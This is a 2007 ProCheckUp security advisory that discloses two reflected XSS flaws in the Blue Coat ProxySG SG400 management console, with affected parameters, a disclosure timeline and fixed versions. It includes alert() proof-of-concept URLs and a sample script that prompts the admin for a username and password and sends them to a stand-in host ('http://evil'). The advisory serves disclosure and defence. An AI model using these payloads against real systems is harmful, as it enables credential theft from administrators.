ProCheckUp Security Advisory 2007.29

`PR07-29: Two XSS on Blue Coat ProxySG Management Console  
  
Vulnerability found: 23 July 2007  
  
Vendor informed: 20 August 2007  
  
Vulnerability fixed: 29 October 2007  
  
Advisory publicly released: 1 November 2007  
  
Severity: Medium  
  
Description:   
  
Blue Coat SG400 is vulnerable to a couple of XSS holes.  
  
Vulnerable server-side script / unfiltered parameter: '/Secure/Local/console/install_upload_action/crl_format' / 'name'  
  
Vulnerable server-side script / unfiltered parameter: '/Secure/Local/console/install_upload_from_file.htm' / 'file'  
  
Notes:  
  
The admin user needs to be authenticated (HTTP basic authentication) for the injected JavaScript to run.  
  
  
Successfully tested on:  
  
Model: Blue Coat SG400   
Software SGOS 4.2.1.6   
Software Release ID: 25173   
  
  
Proof of concept #1:  
  
https://target:8082/Secure/Local/console/install_upload_action/crl_format?name="<script>alert("XSS")</script>%00  
  
Injected payload:  
  
"<script>alert("XSS")</script>%00  
  
Proof of concept #2:  
  
https://target:8082/Secure/Local/console/install_upload_from_file.htm?file=<script>alert("XSS")</script><!--  
  
Injected payload:  
  
<script>alert("XSS")</script><!--  
  
  
A neat payload to inject instead of a alert() box would be a phishing attack which would forward the username and password to a third-party site (the code could be inserted from a third-party site).   
  
i.e.:  
  
<script>  
do {  
a=prompt("Blue Coat SG400: an error has occurred\nPlease enter your USERNAME","");  
b=prompt("Blue Coat SG400: an error has occurred\nPlease enter your PASSWORD","");  
}while(a==null || b==null || a=="" || b=="");  
  
alert("owned!:"+a+"/"+b);window.location="http://evil/?u="+a+"&p="+b  
</script><!--  
  
  
Consequences:   
  
An attacker may be able to cause execution of malicious scripting code in the browser of a Blue Coat SG400 admin who clicks on a link to a Blue Coat ProxySG Management Console. Such code would run within the context of the target domain.  
  
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: basic auth credentials stolen through a phishing attack as described in the Proof of Concept) to unauthorised third parties.  
  
Fixed in:  
  
4.2.6.1, 5.2.2.5  
  
  
References:   
  
http://www.procheckup.com/Vulnerability_2007.php  
http://www.bluecoat.com/support/securityadvisories/advisory_cross-site_scripting_vulnerability  
  
  
Credits: Adrian Pastor from ProCheckUp Ltd (www.procheckup.com)  
`